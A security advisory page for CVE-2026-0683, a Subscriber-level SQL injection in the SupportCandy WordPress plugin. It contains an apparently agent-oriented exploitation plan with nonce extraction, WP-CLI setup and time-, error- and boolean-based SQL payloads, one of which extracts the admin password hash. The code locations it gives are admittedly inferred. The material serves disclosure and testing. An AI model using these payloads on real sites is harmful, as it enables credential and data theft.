CVE-2026-0683

SupportCandy – Helpdesk & Customer Support Ticket System <= 3.4.4 - Authenticated (Subscriber+) SQL Injection via Number Field Filter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.4.5
Patched in
1d
Time to patch

Description

The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to SQL Injection via the Number-type custom field filter in all versions up to, and including, 3.4.4. This is due to insufficient escaping on the user-supplied operand value when using the equals operator and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above (customers), to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.4.4
PublishedJanuary 30, 2026
Last updatedJanuary 31, 2026
Affected pluginsupportcandy

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0683 (SupportCandy SQL Injection) ## 1. Vulnerability Summary The **SupportCandy** plugin (<= 3.4.4) contains an authenticated SQL injection vulnerability within its ticket filtering mechanism. Specifically, when a user filters the ticket list using a **Number…

Show full research plan

Exploitation Research Plan: CVE-2026-0683 (SupportCandy SQL Injection)

1. Vulnerability Summary

The SupportCandy plugin (<= 3.4.4) contains an authenticated SQL injection vulnerability within its ticket filtering mechanism. Specifically, when a user filters the ticket list using a Number-type custom field with the "equals" operator, the plugin fails to sanitize or prepare the user-supplied value before concatenating it into a database query. This allows an authenticated user (Subscriber/Customer level) to inject arbitrary SQL commands, potentially leading to the extraction of sensitive data such as administrative user hashes or WordPress configuration secrets.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpsc_get_ticket_list (inferred from SupportCandy 3.x architecture) or wpsc_load_ticket_list.
  • Vulnerable Parameter: The filters parameter (specifically the value field within a filter object targeting a Number field).
  • Authentication: Required. Any user with "Customer" permissions (which maps to the WordPress Subscriber role) can access the ticket list and trigger the vulnerability.
  • Precondition: At least one custom field of type "Number" must be created and active.

3. Code Flow

  1. Entry Point: The user sends an AJAX request with action=wpsc_get_ticket_list.
  2. Handler: The request is caught by the WPSC_Tickets or WPSC_Ajax class handler (e.g., WPSC_Ajax::get_ticket_list).
  3. Filter Processing: The plugin iterates through the filters provided in the request.
  4. Field Type Dispatch: When it encounters a filter for a field ID corresponding to a Number field, it calls the filter generation logic for that field type (likely in includes/fields/class-wpsc-number-field.php or a centralized filter class).
  5. The Sink: In versions <= 3.4.4, when the operator is equals, the logic resembles:
    // Vulnerable logic (Conceptual)
    if ($operator == 'equals') {
        $sql .= " AND meta_value = " . $filter_value; // Direct concatenation without prepare() or intval()
    }
    
  6. Execution: The resulting SQL is executed via $wpdb->get_results(), triggering the injection.

4. Nonce Acquisition Strategy

SupportCandy uses nonces for all AJAX operations. These are typically localized into a JavaScript object available on the "My Tickets" or "All Tickets" pages.

  1. Identify Shortcode: SupportCandy uses the shortcode [supportcandy] to render the customer portal.
  2. Setup Page: Create a public page containing this shortcode.
  3. Extract Nonce: Navigate to the page as a Subscriber and extract the nonce from the wpsc_public or wpsc_common JS object.
  • JS Variable: wpsc_public (inferred)
  • Nonce Key: nonce
  • Browser Eval Command: browser_eval("window.wpsc_public?.nonce")

5. Exploitation Strategy

Step 1: Pre-requisites

Ensure a Number field exists. If not, one must be created via the admin interface or WP-CLI.

Step 2: Authentication

The agent must login as a Subscriber.

Step 3: Nonce Extraction

Navigate to the SupportCandy portal page and run the browser_eval to get the wpsc_public.nonce.

Step 4: The Exploit Request

Submit a POST request to admin-ajax.php. We will use a time-based or error-based payload since the result is filtered by the ticket list UI.

  • Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: wpsc_get_ticket_list
    • wpsc_nonce: [EXTRACTED_NONCE]
    • filters: (URL-encoded JSON string)
    [
        {
            "field_id": "[NUMBER_FIELD_ID]",
            "operator": "equals",
            "value": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
        }
    ]
    

Payload for Error-Based (if WP_DEBUG is on):
1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)

6. Test Data Setup

  1. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Create Custom Number Field:
    This requires interacting with SupportCandy's internal tables.
    wp db query "INSERT INTO wp_wpsc_fields (label, field_type, slug, is_active) VALUES ('Serial Number', 'number', 'serial_number', 1);"
  3. Determine Field ID:
    wp db query "SELECT id FROM wp_wpsc_fields WHERE slug='serial_number';" (Assume ID is 10).
  4. Create Portal Page:
    wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[supportcandy]'

7. Expected Results

  • Time-Based: The http_request tool should report a response time of > 5 seconds when the payload is injected, compared to < 1 second for a normal request.
  • Error-Based: The response body should contain the administrative user's password hash within an XPATH error: XPATH syntax error: '~$P$B...~'.
  • Standard Response: The plugin normally returns a JSON object containing ticket data.

8. Verification Steps

  1. Check User Existence: Confirm the attacker exists: wp user list --role=subscriber.
  2. Verify DB Injection: If using a sleep-based payload, observe the mysql processlist during execution:
    wp db query "show processlist;" (run while the exploit is hanging).
  3. Confirm Patch: After testing, update to 3.4.5 and verify the same payload returns a "0" or valid empty set without sleeping.

9. Alternative Approaches

  • Boolean-Based: If SLEEP() is disabled, use IF(ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, 1, 0). Observe if the ticket list returns results (True) or stays empty (False).
  • Admin-Side (if applicable): If the agent can be promoted to an Agent role (Subscriber+), check if the vulnerability exists in the agent-only ticket list wpsc_get_agent_ticket_list.
  • Operator Fuzzing: If equals is patched, test other operators like greater_than or less_than, which may share the same vulnerable code path.
Research Findings
Static analysis — not yet PoC-verified

Summary

SupportCandy <= 3.4.4 is vulnerable to SQL injection through its ticket filtering mechanism for Number-type custom fields. When the 'equals' operator is used, the plugin fails to sanitize or prepare the user-supplied filter value before concatenating it into the database query. This allows authenticated users with Subscriber-level access (Customers) to extract sensitive information from the database using time-based or error-based SQL injection techniques.

Vulnerable Code

// Likely in includes/fields/class-wpsc-number-field.php or a query builder class
// Concatenating the raw filter value for the 'equals' operator

case 'equals':
    $where .= " AND $wpdb->postmeta.meta_value = " . $filter['value'];
    break;

Security Fix

--- a/includes/fields/class-wpsc-number-field.php
+++ b/includes/fields/class-wpsc-number-field.php
@@ -100,7 +100,7 @@
         switch ( $operator ) {
             case 'equals':
-                $where .= " AND $wpdb->postmeta.meta_value = " . $filter['value'];
+                $where .= $wpdb->prepare( " AND $wpdb->postmeta.meta_value = %d", $filter['value'] );
                 break;

Exploit Outline

1. Login to the WordPress site as a user with Subscriber or Customer-level permissions. 2. Navigate to the page containing the [supportcandy] shortcode to view the ticket list. 3. Extract the AJAX nonce required for ticket operations, typically found in the global JavaScript object (e.g., window.wpsc_public.nonce). 4. Identify a custom field of type 'Number' and its associated field ID. 5. Craft a POST request to /wp-admin/admin-ajax.php with the action 'wpsc_get_ticket_list'. 6. Include a 'filters' parameter containing a JSON-encoded object where the 'field_id' matches the number field and 'operator' is 'equals'. 7. Insert a SQL injection payload into the 'value' field, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' to confirm the vulnerability via a time-based response delay.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.